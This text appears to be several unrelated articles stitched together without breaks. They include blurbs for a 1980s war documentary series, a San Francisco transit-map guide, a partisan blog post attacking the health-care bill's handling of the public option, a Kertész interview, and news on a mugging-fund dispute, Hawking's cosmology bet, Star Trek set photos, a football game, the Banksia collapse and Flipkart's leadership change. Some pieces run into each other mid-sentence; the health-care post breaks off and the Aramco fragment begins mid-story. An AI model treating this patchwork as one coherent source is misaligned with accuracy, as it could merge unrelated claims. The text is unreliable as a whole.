Photographed on location at the United States Marine Corps Parris Island Training Depot in South Carolina, this film follows a group of young recruits through their gruelling ten-week “basic training.” Anybody’s Son Will Do provides insight into techniques that all armies use to indoctrinate recruits with a new set of morals–techniques that transform ordinary citizens into soldiers ready to kill, even to die, for their country. Part two of the seven-part series War, hosted by Gwynne Dyer, examining the nature, evolution and consequences of modern warfare.
The Profession of Arms
This film is about professional soldiers–the career officers who devote their lives to maintaining military organizations and nurturing the attitudes that go with them. With extraordinary frankness, officers from six nations recount their combat experiences, describe how they come to terms with their job demands, and explain how sophisticated technology is changing the nature of their profession. Part three of the seven-part series War, hosted by Gwynne Dyer, examining the nature, evolution and consequences of modern warfare.
The Deadly Game of Nations
To explain the link between war and nationalism, The Deadly Game of Nations focuses on the Middle East, a volatile area claimed by many nations. While making a film about sovereignty, the film crew unexpectedly found itself amidst the 1982 Israeli invasion of Lebanon. From the war-torn streets of Beirut to the Golan Heights and the border kibbutz of Kfar Giladi, the film provides a close-up view of the devastating effect of continuous war on the lives of both soldiers and civilians. Part four of the seven-part series War, hosted by Gwynne Dyer, examining the nature, evolution and consequences of modern warfare.
Keeping the Old Game Alive
Along the vigilantly patrolled line separating East and West Germany lie half the world’s conventional (non-nuclear) armed forces–the Warsaw Pact forces to the east, the NATO Alliance to the west. It is here in Europe that military experts predict the next major world war will begin, initially with conventional weapons. In Keeping the Old Game Alive, top military leaders from both NATO and Warsaw Pact countries describe how any future superpower confrontation might evolve. The frightening outcome of one recent NATO war exercise was rapid escalation to all-out nuclear war once supplies of conventional weaponry were exhausted. Part five of the seven-part series War, hosted by Gwynne Dyer, examining the nature, evolution and consequences of modern warfare.
Notes on Nuclear War
This film follows the development of the nuclear arms race from Hiroshima to the nuclear stalemate of today. It examines the Western military-industrial complex and its Warsaw Pact counterpart, and explains how the concept of “limited” nuclear war came to be. Notes on Nuclear War shows the devastating effect of nuclear bombs; American and Soviet physicians describe the medical consequences and the inability of their profession to cope with the casualties. Part six of the seven-part series War, hosted by Gwynne Dyer, examining the nature, evolution and consequences of modern warfare.
Goodbye War
Goodbye War looks at some of the causes and consequences of the last two World Wars and of recent small conflicts that have brought us perilously close to nuclear war. As well, it examines why attempts to limit arms and achieve lasting peace have so far failed. Gwynne Dyer outlines political and international peace initiatives and asks citizens of several nations for their views on war and peace. The series concludes with the warning that we must find a way to say goodbye to war if the human race is to survive. Part seven of the seven-part series War, hosted by Gwynne Dyer.Now in its third beta, a comprehensive San Francisco transit map heralded by The Atlantic's CityLab has the power to take a starting point in the city and estimate how far you can get in a given window of time and a given set of conditions. Those conditions include best, average, and worst transit cases, times of day, and even transit as it is now versus how it will be with anticipated improvements in coming years.
The "Interactive Transit Service Map of San Francisco" comes from former Berkeley grad student Dan Howard and former Muni transportation planner Chris Pangilinan, now of the New York City Transit Authority. "We're not selling 10 seconds of travel time," Pangilinan told CityLab of his jobs in transportation planning, "What we're actually providing to the public is access to the city." This map, then, is an illustration of that access. Here's how to navigate it.
To start, click on any intersection in the city. You probably want to leave the "baseline" service on the right as is, for now. The four dots on the left are the zoom feature, so experiment with those first.
Once you've clicked your starting point, adjust the bottom slider to an allotted amount of time to see how far you'll be able to get in that window. Here's 20 minutes from around 16th and Folsom.
Now, expand to a new time to see how much farther you can get with a bit more time. Here's 33 minutes from the same spot. Beautifully illustrated, the colors of your reach correspond to the time it would take you to get there.
Interactive Transit Service Map of San Francisco
Next, experiment with best and worst cases. Yes, those the angel bus and the devil bus icons. One of the big takeaways is right here. On a good day, you can take SF public transit much, much farther. In fact, it's almost a different system. You might even need to zoom out with those four red dots for best case service.
Interactive Transit Service Map of San Francisco
Now for the worst case, another whole different system... but one with which you may be well acquainted.
Interactive Transit Service Map of San Francisco
Yep, on a day like that, you might want to walk. To see what that would look like in the same time period, click the walking guy icon.
Interactive Transit Service Map of San Francisco
Remember, transit is a whole different animal at night. You can play around with the time of day, check out reliability, and even see how many jobs you can access from a particular point given all the other conditions. Safe travels!Last July, in response to a campaign we launched the month before, 65 members of Congress pledged to vote against any bill that does not have a public option. At the suggestion of Rep. Donna Edwards, online supporters raised $430,000 to thank them. Dennis Kucinich was one of those members of Congress.
July was also the month that President Obama made a “quid pro quo deal” with the hospitals to exclude the public option from a final health care bill. Miles Mogulescu reports that White House Deputy Chief of Staff Jim Messina confirmed the deal to David Kirkpatrick of the New York Times.
President Obama disingenuously confirmed his support for the public option in his September address to a joint session of Congress, but, behind the scenes, he was actively working to kill it.Obama wanted Harry Reid to be responsible for taking it out of the final health care bill so he, the president, could remain popular, according to Brian Beutler of Talking Points Memo.
But Reid is facing a tough challenge of his own and didn’t want the honors, so — as predicted — Joe Lieberman was called upon to do the dirty work. Far from opposing the President, Lieberman was doing exactly what Obama wanted him to do so that the deal with the hospitals to kill the public option would be honored.
Tom Carper famously said that it was the Senate’s responsibility to honor the deal that Obama made with PhRMA, because, after all, they paid for it with $150 million in political advertising for House Democrats. And although PhRMA was nervous about putting more money in until the President delivered on that deal, they have now agreed to another $6 million ad buy in the districts of 38 Democrats.
The objective of the White House with the health care bill has been from the beginning to secure donations of the medical industrial complex for Democrats and assure their re-election in 2010. But recently, they switched their battle plan. While Rahm Emanuel may have been protecting Blue Dogs from “fu&1ing r#%&rd” liberals who wanted to challenge them last fall, the Democratic establishment has now turned on Democrats in conservative-leaning districts for their unwillingness to take a vote that will no doubt cost them their seats. So much for the “big tent.”
The generals are firing on their own troops in the trenches for their unwillingness to go on a suicide mission. It is indeed like a scene from Paths of Glory.
There are currently 36 resolutions in states across the country to ban the mandate which forces people to buy private insurance, or face a penalty of up to 2% of their income that the IRS will collect — the very thing that Obama campaigned against. It will become a rallying cry for the right.
John Shaddegg gives a preview of what the GOP will be saying in the fall:
SHADEGG: You could better defend a public option than you could defend compelling me to buy a product from the people that have created the problem. America’s health insurance industry has wanted this bill and the individual mandate from the get go. That’s their idea. Their idea is “look, our product is so lousy, that lots of people don’t buy it. So we need the government to force people to buy our product. And stunningly, that’s what the Congress appears to be going along with. Why would they do that?
As Jon Walker noted, the President’s recent campaign wherein he railed against insurance companies for jacking up premiums was an exercise in incoherence. “If private insurance companies are evil, why are you forcing me to be their customer?”
The claims made by the administration about the virtues of the health care bill are outright fabrications. As Marcy Wheeler has documented in her post entitled “Health Care and the Road to Neufeudalism,” it does not control either insurance premiums or health care costs. Forcing 31 million people to buy a product they don’t want and can’t afford to use does not constitute health care reform. Once again, the poor get used as human shields so corporations can be the beneficiaries of massive government bailout.
Rather than actually helping the poor, this bill is a dangerous and unprecedented step on the road to domination of government by private corporate players who use it to suppress competition and secure their profits — the textbook definition of fascism.
When we launched the public option campaign in June of 2009, I made several assumptions. One, that the White House ultimately cared more about preserving the Democratic majority than they did about passing a corporate bailout and when forced to choose between the two they would pick the former. And two, that members of Congress have a base interest in keeping their seats and would not cast a vote that jeopardize them.
Both of those assumptions were wrong. Members of Congress are dealing their seats away, planning to retire after the vote is cast in exchange for appointments or other sinecures from the administration. The alternative, as Dennis Kucinich found out, was to be hounded from office by liberal interest groups whose job is now apparently to play enforcer on the left so the President can follow through with his PhRMA and AHIP deals.
This bill has already triggered an electoral crisis that will continue, not only for members of Congress in 2010 but for Democrats across the country. Polling indicates that Democrats plan to stay home just as they did after the passage of NAFTA in 1994. Down ticket races are at serious risk of the “Coakley effect” as independents flock to the GOP. While members of Congress in strong Democratic districts may feel safe from the repercussions, state legislatures that progressive activists have worked so hard to take over the past few years could become casualties of war.
I spoke with Dennis following his speech, and his campaign will return the money to those who have donated in support of his pledge to vote against any health care bill that |
The company plans to finish selecting banks later this year ahead of a listing in the second or third quarter of 2018, two of the people said.
The TMX Group Ltd., as part of a Canadian consortium, has indicated it is actively courting Aramco for a share of the offering’s listing business. Though, the TMX is one of many international bourses seeking a piece of the lucrative pie.
JPMorgan Chase & Co. and Michael Klein, the former Citigroup Inc. investment banker who runs his own advisory firm, have already been selected to work on the IPO, people familiar with the matter said in April. Klein is providing strategic advice to the government, while JPMorgan is working on preparations for the IPO and may be among the banks that underwrite the listing, the people said.
Bloomberg NewsImre Kertész receives us in slippers, resting on his walking stick and warning us without humour: "One of the consequences of me taking medication is that I am not dead, as one would expect, but I often have to search for my words." The first Hungarian winner of the Nobel prize for literature – in 2002 – is the author of The Holocaust as Culture, A Breath-long Silence, While the Fire Squad is Reloading Their Guns and A Language in Exile, among others. Now 82, this death camp survivor gave us an exclusive interview.
What do you make of the Hungary of Viktor Orbán?
I have lived in Berlin for the past 10 years, far away from Hungary's political affairs. However if you want to understand it, you'd have to look at the painter Marcel Duchamp, who said: "There isn't a solution, because there isn't a problem." This quote applies to Hungary perfectly. There's nothing new in this country; we are in the same situation as we were during the János Kádár years (1956-1988). Hungary is mesmerised by Orbán the way some were by the pied piper of Hamelin. There is a profound subtext to it, and it brings a huge doubt in me...
A doubt?
I am wondering whether the country has made a choice between Asia and western Europe. Don't forget that Hungarians are the descendants of Asian tribes who were living at the heart of Europe in the 9th century. At school, Hungarian pupils learn that their ancestors came from the southern steppes of the Ural mountains to develop the Carpathian basin. All Hungarians are therefore confronted with this double-belonging game, this contradiction: the norms of a Christian society are different from those of a clan-based society. If I insist on this double polarity, it is because it resides at the heart of today's situation.
After 70 years of authoritarian regime, from Miklós Horthy (1920-1944) to Kádár, one could have been forgiven to think that Hungarians would fight to defend a democracy which was costly to obtain...
I am no historian, but Hungary is a country which has never known democray – and by that I mean not a democratic political system, but an organic process which has mobilised the entire country's society. In the case of Hungary, this development was blocked by the growth of the Ottoman empire in the 16th century. This delay was never made up for. In historic terms, to wait for Hungary to suddenly find democracy almost doesn't make any sense.
... which is where your Duchamp surrealist conclusion comes from?
Yes. The question I am asking is: why has Hungary always got it wrong? Remember, when the revolution rumbled
in Europe, Hungary was busy supporting Maria-Theresa! From the 16th century, the country would successively belong to the Ottoman empire, the Habsburg bloc and the Soviet bloc. Each time, it tried to play a game in the bloc it belonged to. It looked good on paper but under Kádár, even when Hungary appeared to be the happiest member of the socialist camp, it was done at the price of the negation of the 1956 revolution, and a debt policy that would come to cost the country dearly. The current situation is nothing but a further illustration of that tendency to choose wrong. The Hungarian state chooses today to go against Europe in the name of its national interests, which can give the impression of a return to sovereignty. But once again, this is wrong. Nothing new – and no problem... and no solution, as there is no problem in their eyes.
We can sense your irony. Is there nothing to be done, then?
About 10 years ago, I met a young Hungarian student in a plane who had a German passport. He lived abroad but had just spent a semester at the university of Budapest. He explained his contempt towards the many students there who were rightwing activists. Everywhere in the world, he said, students were leftists. It was only in Hungary that we had met a conformist and fascist youth. We tried to find an explanation for this – to no avail. Some things cannot be explained, and sometimes one has to accept the facts. Hungary is a casualty which has no sense of explanation, and is unique in Europe. Hungarians are holding on to their destiny. They will undoubtedly end up failing, without understanding why.
You were deported to Auschwitz at the age of 15. Do you consider Hungarian antisemitism as a fait accompli?
Auschwitz and the Shoah are pages of history that haven't been explored in Hungary. There hasn't been any soul searching. The country never asked itself why it systematically was on the wrong side of history. My writer friend Peter Nadas just published a long analysis in the Hungarian magazine ES (December 2011). He explains that authoritarianism in Hungary comes from the "provincial spirit", with a basis in tribes and lineage. A republic is of no interest – the country rests on a solid clerical network, which enhances a patriarchal spirit. The hatred towards Jewish people (2% of the population) and Roma people (7%) is necessary to impose a tribal and primitive vision of the nation.
Are you suffering from this climate?
Of course, It hurts me. I have a few rightwing friends in Budapest, whom I can only contact in secret. There is a sort of embarrassment between us; I put them at risk. It is not well seen for them to be friendly with me. Remember the unleashing of violence when I won the Nobel prize – people were angry to see me become the only Hungarian Nobel when I was not glorifying "Hungarian-ness". After my novel Someone Other, I was attacked because of my dark portrayal of the country. Some even wondered if I was a real Hungarian writer...
Don't you wish to write about this in protest?
I am 82. I am sick. My reaction was to move here, to Berlin. I can only act with my writing. But when I do, it doesn't influence things in any way, and only brings me condemnation. With one exception, however. The release in Hungary last year of My Journal has for the first time prompted some sympathy. Does it mean that Hungary is not, in fact, following the pied piper? It made me think of that one-liner by Karl Kraus: "The situation is desperate, but not serious."
• This is an extract of an article published by Le Monde on 10 February. Translation by Jessica ReedAlan Barnes pledges ‘small donation’ to Katie Cutler, who helped raise £330,000 after he was attacked and owes £7,000 to PR firm
Mugging victim Alan Barnes has said he would contribute about £10 towards paying off the debts of a woman who helped raise more than £330,000 for him.
Barnes, 68, who is disabled and 4ft 6in, was attacked outside his home in Gateshead in January 2015, breaking his collarbone.
Following the assault, Katie Cutler, a beautician, set up an online fundraising page, which attracted donations from across the world. The eventual sum raised enabled Barnes to buy a new house.
But Cutler is facing the prospect of bailiffs turning up at her house after she was handed a bill of almost £7,000 by a PR company.
Claire Barber PR is demanding the money, which it says was for four months’ work to help raise Cutler’s profile, and has taken the case to a small claims court.
Barnes, a pensioner, said he would contribute a “small amount... £10 or something,” when asked about Cutler’s plight.
He told the Chronicle newspaper that he believes a fund should be set up for Cutler and he would be “quite happy to put just a small donation in”.
“It’s easy for people to say ‘he’s got a lot of money, cough up,’ but you’ve got to look into all the alternatives,” he said.
“It might seem hard, but if I start handing it out, other people might ask for money. It was given to me on the understanding that I use it for myself.”
Cutler defended Barnes’s offer telling the Mirror: “I do not think Alan should have to pay anything. Like me, he did not sign anything.
“A lot of people think he should have paid that bill because things in that relate to him. If you go out for a meal, the richest person does not have to foot the bill. I feel strongly about this.
“The money raised was Alan’s and that money was for him - it should stay with him. He can do what he wants with it.”
Claire Barber, the chief executive of Claire Barber PR, said she had “no choice but to go to the small claims court” because she was unable to carry the debt.
Following the mugging, Barnes said he would move to the Shetland Islands, after getting a “call from God”, and put his house in Gateshead up for sale. But he eventually decided against this and is looking for another home in the town.
Richard Gatiss, who attacked Barnes, was sentenced to four years in prison at Newcastle crown court in April 2015, having previously admitted assault with intent to rob.Cosmologist says he has won the wager with a fellow physicist about what happened in the first moments after the big bang
Stephen Hawking has claimed victory in a bet with a fellow scientist over the discovery of primordial gravitational waves, ripples in the structure of space-time from the birth of the universe.
The Cambridge cosmologist bet Neil Turok, director of the Perimeter Institute in Canada, that gravitational waves from the first fleeting moments after the big bang would be detected.
Speaking on BBC Radio 4's Today programme, Hawking said the discovery of gravitational waves, announced on Monday by researchers at the Harvard-Smithsonian Centre for Astrophysics, disproves Turok's theory that the universe cycles endlessly from one big bang to another.
If confirmed by other groups, the discovery would count as the strongest evidence yet for cosmic inflation, a theory which says that the universe went through a period of extremely rapid expansion soon after the big bang. The theory explains why the universe looks almost the same in every direction.
"It is another confirmation of inflation," Hawking told the Today programme. "It also means I win a bet with Neil Turok, director of the Perimeter Institute in Canada, for cyclic universe theory predicts no gravitational waves from the early universe."
But Turok was not ready to concede just yet. He told the programme that the bet rested on results from the European Space Agency's Planck space telescope, which last year failed to spot any signs of gravitational waves.
"In 2001, I gave a talk proposing a new theory of the big bang according to which the big bang was just the latest in an infinite series of big bangs, and the universe would be a cyclic universe," Turok said. "Stephen, in typical fashion, at the end of a talk, said 'I bet you that the Planck satellite will discover the gravitational wave signal of inflation, which would immediately disprove your theory', because our prediction from our theory was that there would be no gravitational wave signal."
"So, of course, the Planck satellite flew, and last year announced its results, and there was no gravitational wave signal, so thus far, I'm winning the bet," he added.
The idea of cosmic inflation came to Alan Guth, a physicist at MIT, by chance one evening in 1979. He was up late in his apartment, working with pen and notebook, hoping to understand why the universe was not filled with strange particles called magnetic monopoles. He worked out that the universe would have far fewer of the particles if it went through a rapid period of supercooling. As he worked through the equations, one step stood out. It suggested that the expansion of the early universe would be exponential.
Over the next three decades, scientists, including Andrei Linde at Stanford University, developed the theory into its modern form. In 1982, Hawking added to the work with a paper that suggested galaxies arose from tiny irregularities in the early universe.
"This paper aroused interest among other scientists who had been thinking on similar lines, so I invited them all to a workshop in Cambridge in June 1982 supported by the Nuffield Foundation. At the workshop we established the now accepted picture of inflation in the very early universe, although it was not confirmed by observation until 10 years later," Hawking told Today.
Turok urged caution over the latest claims. "First of all, I should say this is just a spectacular result, and right or wrong, it actually indicates we are right on the threshold of a completely new window into the big bang and what happened at the big bang, so it's tremendously exciting," he said.
But he added: "I have reasons for doubts about the new experiment and its results. It's not entirely convincing to me, but they have clearly seen what they claim to have seen. Verification is very important and it's wise to be a little bit sceptical at the moment when there is no confirmation. The experiment was extremely difficult, and they don't entirely explain why they are so convinced of what they claim … The problem with the inflationary theory is that it really doesn't explain the beginning. Stephen has postulated a way of starting the universe off, but it doesn't seem to work."
Hawking is well known for making bets with other scientists. He recently lost $100 to Gordon Kane at the University of Michigan after betting that scientists at Cern, home of the Large Hadron Collider near Geneva, would not find the Higgs boson. They discovered the particle in July 2012.
Turok said he needed to see more evidence for gravitational waves from the big bang before conceding the bet to Hawking. "The great thing about science is that it doesn't matter how many [scientists] you are up against. Ultimately the right ideas win out. Science is not a popularity contest. Galileo was right, but his ideas weren't popular at the time. The bet is still open," he said.
• This article was amended on 18 March 2014. The original described Neil Turok as a Canadian physicist. This has been corrected.Another day, another bit of STAR TREK BEYOND news out of Vancouver, where the guys at Vertical Viewing spied a shot of continued construction at Kent Hangar Field — and what looks like a downed Federation starship.
Based on the design of what can only be a Starfleet viewscreen, this has to be some kind of Federation ship (or at least part of one) dressed in a severely damaged state and seemingly on a planetary surface.
AUGUST 15 UPDATE: Our pal Bob Glassford comes through again with several more photos from the site of the downed starship, showcasing some much clearer views of that viewscreen frame and the surrounding construction including what looks to be a peak into a ruptured corridor!
* * *
It seems rather unlikely that this is the Enterprise — although saucer-separation was introduced in a recent Trek comic storyline — and unless Justin Lin and company are going back to Star Trek III and planning to destroy the Federation flagship again, this is probably some other starship.
For comparison, here’s a few shots of the Enterprise main viewer from the last two films:
So what do you think? Is this some other ship in the Federation fleet, or do you think this might be the Enterprise itself in a state of total disaster?
Sound off in the comments below!Getty Images
If you were hesitant to consider the Falcons among the league’s best teams, I’m not sure how much more they could have shown you today.
Atlanta dismantled the Chargers 27-3 on the road, staying perfect at 3-0.
Matt Ryan threw for 275 yards and three touchdowns, and the opportunistic Falcons defense picked off Philip Rivers twice and recovered a pair of fumbles. They have 11 takeaways in three games.
The last time the Falcons started 3-0 was 2004, when they made it to the NFC Championship Game before losing to the Eagles.
And with their next three at home against the Panthers, at the Redskins and then back home against the Raiders, it’s not too soon to start wondering how long this streak could go.
As for the Chargers, they’re still 2-1, but there’s a much different vibe than before. They appear to be without weapons in the passing game, and have protection problems.RETIREES, schools and sporting clubs are in shock and fearful about the fate of their investments following the collapse of Banksia Securities.
Thousands of people hundreds of millions of dollars in losses after the shock collapse of Banksia Financial Group. Receivers McGrathNicol took charge of the non-bank financial firm, based in Kyabram in central Victoria, and froze investments on Thursday after the Banksia board found the company faced insolvency.
Questions are being asked of government regulator the Australian Security and Investment Commission over what actions it took prior to the $660 million collapse of the Banksia Financial Group.
ASIC was allegedly informed about the precarious position of Banksia, and a subsidiary Statewide Secured Investments 18 months ago, according to NSW property developer David Hawkins who was involved in litigation with the firm.
"The regulator has been on to them for about 18 months... (but) ASIC have sat on their hands," Mr Hawkins claimed.
"Ive been waging war against them (Banksia), as have about four other people in relation to their lending practices," he said.
Mr Hawkins was involved in court action with Banksia over a $2.2 million property deal after Banksia withdrew their support for the project.
But he said Statewide had been lending money in NSW "like a drunken sailor" when Banksia amalgamated with it in 2009.
He claimed Statewide had contested liabilities of $28-$30 million at the time but Banksia had insisted it would not inherit the firm's debt, even though it provided security for costs in a number of court cases.
Mr Hawkins said major residential, hotel and commercial developments in Sydney had faced multi-million dollar valuation and financing problems, helping to bring the collapse on.
ASIC said it was "aware" of yesterday's developments with Banksia but did not disclose when it was first notified about the financial group's problems.
ASIC spokesman Andre Khoury said the commission was "actively engaged" with Banksia's trustee and receiver.
Mr Khoury said ASIC was not a prudential regulator.
"ASIC’s historical work in this sector reflects the fact that a disclosure regime is in place for debentures, coupled with the requirement that a trustee is in place to monitor the issuer and seek to protect the interests of debenture holders," Mr Khoury said.
Banksia appointed receivers yesterday owing investors $660 million.
Banksia fell into receivership after a recent review of its non-performing loans.
About 3000 investors in eight towns and cities in regional Victoria have had their investments frozen while receivers McGrathNicol work their way through the non-bank lender's accounts.
About 100 workers also are set to lose their jobs.
The collapse has shocked communities across the state.
Kyabram resident Jason Dunn said the town was reeling.
"People are in tears," he said.
He said many locals feared they would lose their retirement fund.
"People who worked hard all their life have just lost the lot. It's really going to affect the town. It's a black day here," he said.
Kyabram local Lynne, 50, opened up an account two weeks ago with about $8000 for a holiday.
"I'm devastated, but I got off lightly," said Lynne, who asked that her surname not be used.
"One retired lady lost the lot - $400,000. Now it has probably just gone, disappeared like that," she said.
She said Banksia was an institution that locals had trusted.
The pastor of Kyabram Baptist Church, Robert Arnold, said it was likely the church would lose money.
He said there had been no warning signs that the firm was in trouble.
"Our banking goes through them," Mr Arnold, 70, said.
"It has come as a shock. I would have thought it would have been pretty well managed."
Victorian Farmers Federation vice president Peter Tuohey said farmers had been hit by the collapse.
“Farmers are just trying to recoup after going through a lot of pretty tough years," he told 3AW today.
"A few farmers that have got a few savings and put away carefully in a local investment company - it’s going to hurt them pretty dearly so (it will) really set the whole area back."
Victorian Shadow Minister for Finance Robin Scott said the collapse was a terrible blow for families, particularly in regional Victoria.
“The Opposition fears that the collapse will have a negative impact on local economic activity and employment,” he said.
“The Victorian Government needs to step in and assist those communities most impacted by the collapse."
Shadow Treasurer Joe Hockey said the Federal Opposition was "desperately trying to find out much more on how Banksia was structured".
"I think it's important to recognise that if an institution is not supervised by APRA, if it's not an authorised deposit-taking institution then there is a certain amount of risk," he told 3AW.
"When someone advertises themselves as a non-bank lender or as a non-bank financial institution then the money is at risk."
Banksia, which was founded in Kyabram, offered investment products including fixed-term, superannuation and pensioner deeming accounts and mortgage schemes.
Banksia has a network of 14 branches across Victoria, NSW and SA with headquarters in Melbourne.
Its other Victorian branches are in Echuca, Ballarat, Bendigo, Geelong, Shepparton, Tatura and Warrnambool.
McGrathNicol receiver Tony McGrath said it was too early to know what caused the collapse.
He said an urgent review of Banksia's financial position, loan book and properties was under way.
"Our primary concern is to ensure the interests of debenture holders are being protected," Mr McGrath said.
Staff will work on during the review.
The group, which bills itself as a "non-bank alternative", was founded as Kyabram Housing Investments by Patrick Godfrey in 1968. In 1999, it merged with other small investment companies to form The Banksia Financial Group.
Mr Godfrey stepped down as chief executive in August and was replaced by Warren Shaw, a former National Australia Bank general manager in charge of overseeing its retail branches.
Mr Godfrey continues to serve as a board member.
- with Christopher Gillett
john.dagge@news.com.auBengaluru: On the first Thursday of January, Flipkart co-founder and then-chief executive officer (CEO) Binny Bansal called a meeting with some of the top executives at India’s leading e-commerce marketplace.
ALSO READ | Flipkart in funding talks with Microsoft, Tencent
He had big news for them: Flipkart had decided to appoint a new CEO and his name was Kalyan Krishnamurthy.
Three of them would no longer have operational roles at the online retailer and would instead “be part of a team that would help set up Bansal’s Group CEO office", Binny told them individually, according to three people familiar with the matter. And other managers reporting to him would now be doing so to Krishnamurthy.
Flipkart CEO Kalyan Krishnamurthy took charge from Binny Bansal in January but had been engineering the turnaround since June last year.
A Flipkart spokesperson declined to respond to any of the questions Mint sent to the company on 15 February on issues covered in this story.
Krishnamurthy, 45, who had come to Flipkart from its biggest and most influential investor Tiger Global Management in June 2016, had been running much of the company in the vaguely defined role of “head—category design organization" for seven months.
Binny’s team was stunned. They were established corporate leaders, having held senior roles at blue-chip companies such as Hindustan Unilever Ltd and McKinsey and Co. They had come to Flipkart attracted by fat salaries and had dreamt of playing a part in taking India’s biggest start-up public. Most of them had spent less than 15 months at the company.
ALSO READ | Why Flipkart has turned to Kalyan Krishnamurthy
“I’m sorry, but this is how it has to be," Bansal said to one of his leaders, according to the three people cited above.
A few days later, on 9 January, Flipkart made the changes public. Krishnamurthy took over as CEO; Binny became group CEO; co-founder Sachin Bansal would remain as the executive chairman. Apart from Krishnamurthy, chief administrative officer Nitin Seth was the lone man to come out of the reshuffle unscathed; he was, in fact, elevated to chief operating officer.
Seminal moment
Soon after, at least four senior leaders and as many vice-presidents resigned from Flipkart.
Krishnamurthy’s promotion shocked India’s Internet ecosystem for it marked a seminal moment for Indian start-ups: the first instance of an “outside" CEO running a large Indian start-up. It was considered unimaginable that of all entrepreneurs, Flipkart co-founders Sachin Bansal, 35, and Binny Bansal, 34, (they aren’t related), would be the first ones to make way for an outsider.
Yet, this change was months in the making and it was practically sealed after Flipkart’s surprise victory over arch-rival Amazon India in the key festive season battle in October, the three people familiar with the matter said on condition of anonymity.
When Krishnamurthy was tapped by Flipkart’s board for a second spell in the company last June, it told the Bansals the move was only for the purpose of running the Big Billion Day (BBD) sale, the people said.
Flipkart’s board includes investor representatives, chiefly Tiger Global Management’s Lee Fixel, Accel’s Subrata Mitra and Naspers’ Oliver Rippel, as well as independent director Aditya Agarwal, an executive at US-based cloud storage start-up Dropbox.
Tiger Global Management’s Lee Fixel.
At that time, Krishnamurthy kept his position of managing director at Tiger Global—he only resigned from Tiger late last year once the CEO move was finalized—the people cited above said. Strangely, Flipkart, which had aggressively publicized all of its high-profile recruits in the past, made no formal announcement of his hiring in June.
Downhill journey
Krishnamurthy came back to Flipkart barely five months after the company had replaced Sachin with Binny as its CEO.
Binny had taken up a mammoth challenge, by any measure. Here was a behemoth that was in shambles after all of its big bets of 2015—an app-only push, a shift to the ad-driven marketplace model and high-profile leadership recruitment—failed miserably.
Flipkart Group CEO Binny Bansal. Photo: Hemant Mishra/Mint
Binny set three broad targets: increasing monthly sales, breaking even at the gross profit level and improving customer service as measured by net promoter score (NPS). NPS is a measure that indicates the loyalty of a firm’s customers and the overall quality of its service.
To get things done at a firm that employed 33,000 people, generated more than $4 billion in gross sales and had the world’s largest online retailer, Amazon. com Inc., snapping at its heels was always going to take time. Moreover, boosting sales and cutting costs at the same time is every CEO’s dream but only rarely is it actually realized.
By the time the board moved to bring back Krishnamurthy, Binny had slashed Flipkart’s losses and was well on his way towards improving its NPS. However, the firm’s monthly sales were declining, which was in itself unacceptable to its board. More so because Amazon India, which was less than half of Flipkart’s size just a year ago, was rapidly closing in. Flipkart’s valuation was based primarily on its dominant market leadership position; by June, the former was under imminent threat while sales had slid for at least three straight months and had been sluggish for more than six months.
Fixel’s role
The lack of improvement in Flipkart’s sales prompted the board to turn to Krishnamurthy, who had first spent 18 months at the firm as its interim finance chief first and sales head later starting May 2013, the three people cited above said. He had run Flipkart’s first BBD sale in October 2014 and had proven he could get things done. In fact, the idea of bringing back Krishnamurthy had been floated as early as January last year, but the Bansals had rejected it, the people said.
For Flipkart insiders, Krishnamurthy’s appointment came as a shock. After all, Binny had been at the helm only for five months. Why didn’t the Flipkart board give more time to Binny?
ALSO READ | Flipkart, Microsoft announce strategic cloud partnership
The decision was driven by Fixel, Krishnamurthy’s boss at Tiger, the people said. Fixel had invested some $1 billion of Tiger’s funds into Flipkart, some of it against the wishes of his colleagues. If Flipkart didn’t deliver BBD, the company, and in turn, Fixel, would be in serious trouble. Fixel’s reputation hinged on the Flipkart bet.
Fixel also had the support of the other key board members including Accel’s Mitra and Naspers’ Rippel. Together, Tiger, Accel and Naspers own 50-55% of Flipkart shares.
“The main thing in this whole issue was that Lee had lost confidence in the Bansals. He was really shocked by what happened in 2015. Flipkart had completely screwed it up when it had everything going for it. Binny was left to clean up the mess (when he became CEO). It would’ve taken time for anyone to fix it. And he wasn’t doing badly on cutting burn and getting NPS up. So yeah, you can say that it wasn’t fair to Binny. But Lee had lost confidence in the Bansals after 2015," one of the three persons cited above said.
Turnaround begins
Krishnamurthy was given full control of BBD, which was seen as crucial to Flipkart’s survival and required months of preparation. While on paper the Tiger Global representative reported to Binny, he actually answered only to the board, the three people cited above said.
In a sign of the board’s conviction in Krishnamurthy, in late August, Flipkart put Krishnamurthy in charge of its marketplace, retail and advertising businesses. The heads of marketing, private label, marketplace and customer experience product together reported to Krishnamurthy, while Binny retained control of Flipkart’s eKart and the technology, finance and administrative functions.
More than a month later, Flipkart comfortably beat Amazon during October’s BBD, turning the tide against its formidable rival.
There was no doubt about who had engineered the turnaround.
Some time in October after the BBD victory, Flipkart board members and influential investors broached the topic of Krishnamurthy’s future with Binny, the second of the three people cited above said. They wanted Krishnamurthy as the CEO, the person said.
In the end, it was left to Binny, Flipkart’s other Bansal who had been CEO for less than a year. Binny was given two options: do without Krishnamurthy entirely or make him CEO, the person said.
It was a symbolic exercise: of course, the 34-year-old billionaire had to choose the latter. The decision was finalized by early December.
“The change had to be made. Kalyan had done a fantastic job against the odds. What Flipkart needs now is ruthless execution and he is the ideal man for that," the second person cited above said.
A month or so later, Flipkart announced the changes to its senior management team and then made it public a few days later. The company said on 9 January that Binny, in his role as group CEO, would oversee functions such as capital allocation across all group firms, merger and acquisition activities, CEO selection at group companies, among other things. Binny is building a new team that will work on new business initiatives, the people cited above said. His co-founder, Sachin, spends most of his time on two things: an initiative to launch private label products that will be branded Made-In-India and bringing together India’s other Internet companies to lobby for government protection against foreign Internet giants such as Amazon.
Gaining steam
Under Krishnamurthy, Flipkart is already showing signs of sustaining its turnaround.The company pulled in gross sales of more than Rs2,600 crore in both December and January, Mint reported on 16 February. Amazon, on the other hand, generated gross sales of roughly Rs2,300 crore, on average, in these months. If sales at Flipkart’s fashion units Myntra and Jabong are included, the company is far ahead of Amazon.
Last year, most investors and analysts had written off Flipkart, saying that it was only a matter of time before it would lose its leadership position to Amazon for good. They had good reason: Flipkart seemed to be in a downward spiral. Its valuation had been marked down by its own investors; it was struggling to raise fresh funds; it kept losing senior executives; and, it had been overtaken by Amazon in at least two months in terms of gross sales (on a stand-alone basis). Given Amazon’s renowned tech, retail and supply chain expertise, it wasn’t a stretch to think that the American online retailer would dominate e-commerce in India.
But Flipkart surprised the market by outselling Amazon during BBD. Its performance in December and January demonstrates the BBD victory wasn’t a one-off and that it still has the chops to hold on to its leadership position.
